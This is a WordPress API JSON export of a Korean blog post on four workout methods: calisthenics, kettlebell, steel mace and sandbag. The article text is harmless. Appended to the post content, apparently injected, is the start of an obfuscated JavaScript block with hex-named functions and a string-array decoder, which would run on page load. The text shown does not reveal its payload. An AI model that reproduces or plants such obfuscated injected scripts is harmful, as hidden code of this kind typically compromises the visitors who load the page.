{"id":2044,"date":"2021-02-26T12:09:14","date_gmt":"2021-02-26T03:09:14","guid":{"rendered":"http:\/\/aligns.co.kr\/?p=2044"},"modified":"2021-10-12T12:55:50","modified_gmt":"2021-10-12T03:55:50","slug":"fit-3","status":"publish","type":"post","link":"https:\/\/aligns.co.kr\/fit-3\/","title":{"rendered":"\ud558\ub8e8 \uc5d0\ub108\uc9c0\uc758 \ucd1d\ub7c9, \uccb4\ub825\uc744 \ub298\ub824 \ucd5c\uc0c1\uc758 \uacb0\uacfc\ub97c \ub0b4\ub294 4\uac00\uc9c0 \uc6b4\ub3d9\ubc95"},"content":{"rendered":"\n<p>\u25a1 \ubc14\ub514 \uc6e8\uc774\ud2b8 \uc6b4\ub3d9<\/p>\n\n\n\n<p>&#8211; \uc5ed\uc0ac<\/p>\n\n\n\n<p>\ubc14\ub514 \uc6e8\uc774\ud2b8 \uc6b4\ub3d9 ( \ub3c4\uad6c\uc758 \uc0ac\uc6a9\uc740 \ucd5c\uc18c\ud654\ub418\uace0 \ubab8\uc758 \uccb4\uc911\uc744 \uc8fc\ub85c \uc774\uc6a9\ud558\ub294 \ub9e8\uc190 \uc6b4\ub3d9\uacfc \uc720\uc0ac\ud55c \uc6b4\ub3d9 ) \uc740 \uace0\ub300 \uadf8\ub9ac\uc2a4\uc5b4\ub85c \ubab8\uc744 \uc6c0\uc9c1\uc5ec\ub77c. \ub77c\ub294 \uc758\ubbf8\ub85c \ud574\uc11d\ub418\ub294 \uce7c\ub9ac\uc2a4\ud14c\ub2c9\uc2a4 (Calisthenics) \uc6b4\ub3d9\uc774\ub77c\ub294 \uc0c8 \uc774\ub984\uc73c\ub85c \uc624\ub7ab\ub3d9\uc548 \uc54c\ub824\uc838 \uc654\uc2b5\ub2c8\ub2e4 . \uc774 \uc6b4\ub3d9\uc740 \ubab8\uc758 \uc9c0\uad6c\ub825 , \uc2a4\ud14c\ubbf8\ub108 , \uadf8\ub9ac\uace0 \uc804\ubc18\uc801\uc778 \ubab8\uc758 \uade0\ud615 \ubc0f \uccb4\ud615\uc744 \uac00\uafb8\uace0 \ub2e8\ub828\ud558\uae30 \uc704\ud574 \ubab8\uc758 \uccb4\uc911\uc744 \uc774\uc6a9\ud55c \uc218\ub828\ubc95\uc744 \uc18c\uac1c\ud558\uace0 \uc788\uc8e0 . \uce7c\ub9ac\uc2a4\ud14c\ub2c9\uc2a4 \uc6b4\ub3d9\uc740 \ud2b9\ud788 19 \uc138\uae30\uc640 \uc774\ub978 20 \uc138\uae30\uc5d0 \uac78\uccd0 \uc5ec\uc790\ub4e4\uc5d0\uac8c \uac01\uad11\uc744 \ubc1b\ub358 \uc6b4\ub3d9\uc774\uc5c8\uc73c\uba70 \uc9c0\uae08\uc740 \uad70\uc778\ub4e4\uc758 \uccb4\ub825 \ub2e8\ub828\uc5d0\uc11c\ub3c4 \uac00\uc7a5 \uae30\ubcf8\uc801\uc778 \uc694\uc18c\ub85c \uc790\ub9ac \uc7a1\uace0 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&#8211; \uc7a5\uc810<\/p>\n\n\n\n<p>\ubc14\ub514 \uc6e8\uc774\ud2b8 \uc6b4\ub3d9\uc740 \uc5ec\ub7ec\ubd84\uc774 \uacac\ub38c\uc57c \ud560 \ubb34\uac8c ( \uc790\uc2e0\uc758 \uccb4\uc911 ) \uac00 \ubcf4\ud1b5 \uacac\ub51c \uc218 \uc788\ub294 \ubb34\uac8c\ub97c \uc808\ub300\ub85c \ub118\uc9c0 \uc54a\ub294 \ub2e4\ub294 \uc810\uc5d0\uc11c \ubcf8\uc9c8\uc801\uc73c\ub85c \uad00\uc808 \uce5c\ud654\uc801 \uc774\uace0 \uc548\uc804\ud55c \uc6b4\ub3d9\uc785\ub2c8\ub2e4 . \uac8c\ub2e4\uac00 \uc544\uc8fc \uc791\uc740 \uacf5\uac04\ub9cc\uc744 \ud544\uc694\ub85c \ud558\uba70 \ud5ec\uc2a4\uc7a5\uc758 \ubcf5\uc7a1\ud55c \uae30\uacc4 \uc0ac\uc6a9\ubc95\uc744 \uc775\ud788\uc9c0 \uc54a\uc544\ub3c4 \ub418\ub294 , \ub9e4\uc6b0 \ud3b8\ub9ac\ud558\uace0 \uc2e4\uc6a9\uc801\uc778 \uc6b4\ub3d9\uc785\ub2c8\ub2e4 . \uacc4\uc18d\ud574\uc11c \uc911\ub7c9\uc744 \ub298\ub824\uac00\uc57c\ub9cc \uc9c4\ucc99\uc774 \uc0dd\uae30\ub294 \uae30\uc874\uc758 \uc6e8\uc774\ud2b8 \ud2b8\ub808\uc774\ub2dd\uacfc\ub294 \ub2ec\ub9ac \ubc14\ub514 \uc6e8\uc774\ud2b8 \uc6b4\ub3d9\uc740 \ud544\uc694\ud560 \ub54c\ub9c8\ub2e4 \ubab8\uc758 \uac01\ub3c4\uc5d0 \uc870\uae08\uc529 \ubcc0\ud654\ub97c \uc8fc\uba74\uc11c \ubab8\uc5d0 \uac00\ud574\uc9c0\ub294 \uc911\ub7c9\uc744 \uc870\uc808\ud560 \uc218 \uc788\uc8e0 . \ud478\uc26c\uc5c5\uc758 \uacbd\uc6b0 \uc190\uacfc \ud314\uc744 \uc704\ub85c \ub454 \ucc44\ub85c \ud558\uc5ec \ubcf4\ub2e4 \uc27d\uac8c \uc2dc\ub3c4\ud560 \uc218\ub3c4 \uc788\uace0 ( \uc778\ud074\ub77c\uc778 \ud478\uc26c\uc5c5 ), \uc190\uacfc \ud314\ubcf4\ub2e4 \ubc1c\uc744 \ub354 \uc704\uc5d0 \uc704\uce58\ud558\uc5ec \ud560 \uacbd\uc6b0 \ub09c\uc774\ub3c4\ub97c \ub192\uc778 \uc218 \uc788\uc2b5\ub2c8\ub2e4 . ( \ub514\ud074\ub77c\uc778 \ud478\uc26c\uc5c5 ) \ub2e4\ub9ac\uc6b4\ub3d9 \ub610\ud55c \ub450 \ub2e4\ub9ac\ub97c \ubaa8\ub450 \uc774\uc6a9\ud558\uac70\ub098 \ud544\uc694\uc5d0 \ub530\ub77c \ud55c\ucabd \ub2e4\ub9ac\ub9cc \uc0ac\uc6a9\ud558\uc5ec \ub09c\uc774\ub3c4\ub97c \uc870\uc808\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4 . \uc11c\uc2a4\ud39c\uc158 \ud2b8\ub808\uc774\ub108\uc640 \uac19\uc740 \uae30\uad6c\ub4e4\uc744 \uc774\uc6a9\ud574 \ub354 \uc218\uc6d4\ud558\uac8c \uc990\uae38 \uc218\ub3c4 \uc788\uaca0\uc9c0\ub9cc , \uc6b0\ub9ac \ubab8\uc758 \uccb4\uc911\ub9cc\uc744 \uc774\uc6a9\ud574\uc11c\ub3c4 \uc5bc\ub9c8\ub4e0\uc9c0 \ub09c\uc774\ub3c4\ub97c \uc870\uc808\ud574\uac00\uba70 \uc190\uc27d\uac8c \ud560 \uc218 \uc788\ub294 \uc6b4\ub3d9\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub300\ud45c \ud65c\uc6a9 \uc6b4\ub3d9 : \uc2ef \uc2a4\ub8e8 (sit through) \uc6b4\ub3d9<\/p>\n\n\n\n<p>\u25a1 \ucf00\ud2c0\ubca8<\/p>\n\n\n\n<p>&#8211; \uc5ed\uc0ac<\/p>\n\n\n\n<p>\ucf00\ud2c0\ubca8\uc740 \uacfc\uac70 18 \uc138\uae30 \ub7ec\uc2dc\uc544\uc5d0\uc11c \uace1\uc2dd\uacfc \uac01\uc885 \uc0c1\ud488\ub4e4\uc758 \ubb34\uac8c\ub97c \uc7ac\ub294 \uc6a9\ub3c4\ub85c \uc0ac\uc6a9\ub418\uc5b4 \uc654\uc2b5\ub2c8\ub2e4. \uc774\ub97c \uc77c\ud130\uc5d0\uc11c \uc0ac\uc6a9\ud558\ub358 \uc77c\uafbc\ub4e4\uc740 \uace7 \uac00\uc7a5 \ubb34\uac8c\uac00 \ub9ce\uc774 \ub098\uac00\ub294 \uac83\uc744 \uc11c\ub85c \ub4e4\uc5b4 \ubcf4\uc774\uba70 \ud798\uc790\ub791\uc744 \ud558\uae30 \uc2dc\uc791\ud588\uc9c0\uc694 . \uadf8 \ud6c4 \ucf00\ud2c0\ubca8\uc740 \uc11c\ucee4\uc2a4 \uc1fc\uc5d0 \uc0ac\uc6a9\ub418\ub294 \ub3c4\uad6c\ub85c\ub3c4 \uc790\ub9ac \uc7a1\uac8c \ub418\uba70 , \uc81c 2 \ucc28 \uc138\uacc4\ub300\uc804\uc5d0\ub294 \uc18c\ub828\uad70\uc774 \uad70\uc778\ub4e4\uc744 \ud6c8\ub828\uc2dc\ud0a4\ub294 \ubaa9\uc801\uc73c\ub85c\ub3c4 \uc0ac\uc6a9\ud558\uc600\ub2e4\uace0 \ud569\ub2c8\ub2e4 . 1970 \ub144\ub300 \uc988\uc74c , \ucf00\ud2c0\ubca8\uc774 \ub9ac\ud504\ud305 \uc6b4\ub3d9\uc6a9 \ub3c4\uad6c\ub85c \uc810\ucc28 \uc778\uae30\ub97c \ub04c\uae30 \uc2dc\uc791\ud558\uba74\uc11c \uc774\ub97c \uc774\uc6a9\ud55c \uc6b4\ub3d9\uc774 \uc18c\ub828\uc758 \uacf5\uc2dd \uc2a4\ud3ec\uce20\ub85c\ub3c4 \uc9c0\uc815\ub418\uc8e0. \uc9c0\uae08\uc740 \ub300\ubd80\ubd84\uc758 \ub300\ud615 \uccb4\uc721\uad00\uc5d0\uc11c \ucf00\ud2c0\ubca8\uc744 \ucd5c\uc18c\ud55c \ud55c \ub450\uac1c \uc815\ub3c4\ub294 \uc27d\uac8c \ubcfc \uc218 \uc788\uac8c \ub418\uc5c8\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&#8211; \uc7a5\uc810<\/p>\n\n\n\n<p>\ucf00\ud2c0\ubca8\uc758 \ubb34\uac8c\uc911\uc2ec\uc740 \uc774\ub97c \uc7a1\uace0 \uc788\ub294 \uc5ec\ub7ec\ubd84\uc758 \uc190\uc5d0\uc11c \uc57d 6-8 \uc778\uce58 (15-20 \uc13c\ud2f0\ubbf8\ud130 ) \uc815\ub3c4\uc5d0 \uc790\ub9ac\ud558\uace0 \uc788\uc5b4 \uc774\ub97c \uc870\uc808\ud558\uae30\uac00 \uc880 \ub354 \uc5b4\ub835\uc8e0 . \uadf8\ub798\uc11c \uc774\ub97c \uc774\uc6a9\ud55c \ubaa8\ub4e0 \uc6b4\ub3d9\ub4e4\uc740 , \ub364\ubca8\uc744 \uc0ac\uc6a9\ud558\ub294 \uc790\uc138\uc640\ub294 \ub2e4\ub974\uac8c \uc5ec\ub7ec \uadfc\uc721\uc758 \ud65c\uc131\ud654\uc640 \uc798 \uc7a1\ud78c \uc790\uc138\ub97c \ub354 \ub9ce\uc774 \uc694\uad6c\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ud2b9\uc720\uc758 \ubd80\ub4dc\ub7fd\uac8c \ud750\ub974\ub294 \ub3d9\uc791\uc744 \ub9ce\uc774 \uc0ac\uc6a9\ud558\ubbc0\ub85c \ubb34\uac70\uc6b4 \ubb34\uac8c\ub3c4 \uacc4\uc18d \uba87 \ubc88\uc758 \uc138\ud2b8\ub85c \ubc18\ubcf5 \ud558\ub2e4\ubcf4\uba74 \uba38\ub9ac \uc704\ucabd \uadfc\ucc98\uae4c\uc9c0 \uace7\uc798 \ub4e4\uc5b4 \uc62c\ub9b4 \uc218\ub3c4 \uc788\uc8e0 . \uc774 \ubc16\uc5d0\ub3c4 \ucf00\ud2c0\ubca8\uc758 \uc7a5\uc810\uc740 \ub108\ubb34\ub098 \ub2e4\ucc44\ub85c\uc6b0\uba70 , \ubb34\uac8c\ub97c \ub298\ub824 \uac08 \uacbd\uc6b0 \uc2e0\uccb4\uc758 \ub354 \ud070 \ud798\uacfc \uadfc\ub825\uc744 \uae38\ub7ec \ub098\uac08 \uc218 \uc788\uc2b5\ub2c8\ub2e4 .<\/p>\n\n\n\n<p>\ub300\ud45c \ub3d9\uc791 : \ucf00\ud2c0\ubca8 \uc2a4\uc719<\/p>\n\n\n\n<p>\u25a1 \uc2a4\ud2f8 \uba54\uc774\uc2a4<\/p>\n\n\n\n<p>&#8211; \uc5ed\uc0ac<\/p>\n\n\n\n<p>\ubb34\ub824 2000 \ub144 \uc804 \ud78c\ub450 \uc804\uc0ac\ub4e4\uc5d0 \uc758\ud574 \ub9cc\ub4e4\uc5b4\uc9c4 \uba54\uc774\uc2a4 \ub610\ub294 \uac00\ub2e4 (gada)&#8217; \ub77c\uace0 \ubd88\ub9ac\ub294 \uc774\uac83\uc740 \ubcf8\ub798 \uc804\uc7c1\ud130\uc758 \ubb34\uae30\ub85c \uc0ac\uc6a9\uc774 \ub418\uc5c8\uc2b5\ub2c8\ub2e4 . \uc5b4\uae68\uc640 \ud5c8\ub9ac\uc758 \uadfc\uc721\uc744 \uc8fc\ub85c \uc0ac\uc6a9\ud558\ub294 \uc774 \ub3c4\uad6c\ub294 \uc804\uc7c1\uc5d0\uc11c \ub354 \ud6a8\uc728\uc801\uc73c\ub85c \uc0ac\uc6a9\ub418\uae30 \uc704\ud574 \uadf8 \ubaa8\uc591\uc774 \uc810\uc810 \uc800 \ubc1c\uc804\ud574 \uac14\uc73c\uba70 \ub9e4\uc77c \uc804\uc0ac\ub4e4\uc740 \uc544\uce68 \ud6c8\ub828\uc73c\ub85c \uc774 \ubb34\uac70\uc6b4 \uba54\uc774\uc2a4\ub97c \ud718\ub450\ub974\ub294 \uc5f0\uc2b5\uc744 \ud588\ub2e4\uace0 \ud569\ub2c8\ub2e4 . \uc774 \uc804\ud1b5\uc740 \ud6d7\ub0a0 \ud30c\ud758\ubc14\ub2c8 ( \uc778\ub3c4\uc758 \uc804\ud1b5 \ub808\uc2ac\ub9c1 \uc120\uc218 ) \ub4e4\uc774 \uc774\uc5b4\uac00\uac8c \ub418\ub294\ub370 20 \uc138\uae30\uc5d0 \uac78\uccd0\uc11c\ub294 \uc11c\ucee4\uc2a4\uc758 \ucc28\ub825\uc1fc \ub3c4\uad6c\ub85c \uc0ac\uc6a9\ub418\uae30\ub3c4 \ud558\uc600\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&#8211; \uc7a5\uc810<\/p>\n\n\n\n<p>\uc2a4\ud2f8 \uba54\uc774\uc2a4\ub294 \uc5ec\ub7ec \ub3c4\uad6c\ub4e4 \uc911\uc5d0\uc11c\ub3c4 \uac00\uc7a5 \ubd88\uade0\ud615\uc801\uc778 \ub3c4\uad6c\uc785\ub2c8\ub2e4 . \uc1e0\uacf5\uc774 \ub2ec\ub9b0 \uc704 \uba38\ub9ac \ucabd\uc740 \ubb34\uac81\uace0 \uc190\uc7a1\uc774\ub294 \uac00\ubccd\uac8c \ub9cc\ub4e4\uc5b4\uc838 \uc788\uc8e0 . \uadf8\ub807\uae30 \ub54c\ubb38\uc5d0 \ub3c4\uad6c\ub97c \ub4e4\uba74\uc11c \ubab8\uc774 \uac19\uc774 \ud754\ub4e4\ub9ac\uc9c0 \uc54a\uac8c \ud558\uace0 \uc911\uc2ec\uc744 \uc798 \uc7a1\uc74c\uc73c\ub85c\uc11c \uade0\ud615\uc5d0 \uc2e0\uacbd\uc744 \uc368\uc8fc\uc5b4\uc57c \ud569\ub2c8\ub2e4 . \uc2a4\ud2f8 \uba54\uc774\uc2a4\ub97c \uc0ac\uc6a9\ud55c \uc8fc \uc6c0\uc9c1\uc784\uc740 \ud68c\uc804\uc778\ub370 , \uc774\ub97c \ud6c8\ub828\ud558\ub294 \uacfc\uc815\uc5d0\uc11c \ubab8\uc758 \uc548\uc815\uac10\uacfc \ubc18\ub300 \ubc29\ud5a5\uc73c\ub85c \ub2e4\uc2dc \uba54\uc774\uc2a4\ub97c \ud68c\uc804\ud560 \uc218 \uc788\ub294 \uc21c\ubc1c\ub825\uacfc \ud798\uc744 \ud0a4\uc6b8 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\u25a1 \uc0cc\ub4dc\ubc31<\/p>\n\n\n\n<p>&#8211; \uc5ed\uc0ac<\/p>\n\n\n\n<p>\uc0cc\ub4dc\ubc31\uc740 \ub808\uc2ac\ub9c1 \uc120\uc218\ub4e4 \ub610\ub294 \uad70\uc778\ub4e4\uc774 \uc624\ub7ab\ub3d9\uc548 \uc0ac\uc6a9\ud574\uc628 , \uc544\uc8fc \uace0\uc804\uc801\uc778 \uc6b4\ub3d9 \uae30\uad6c \uc911 \ud558\ub098\uc785\ub2c8\ub2e4 . \ubcf5\uc7a1\ud55c \ub3d9\uc791\uc774 \ud544\uc694\ud558\uc9c0 \uc54a\uace0 \uc190\uacfc \ud314\uc744 \uc4f0\ub294 \uc8fc \ub3d9\uc791\ub9cc\uc73c\ub85c\ub3c4 \uccb4\ub825\uc744 \uae30\ub97c \uc218 \uc788\ub294 \uc544\uc8fc \ud65c\uc6a9\uc774 \uc26c\uc6b4 \uae30\uad6c\uc774\uc8e0.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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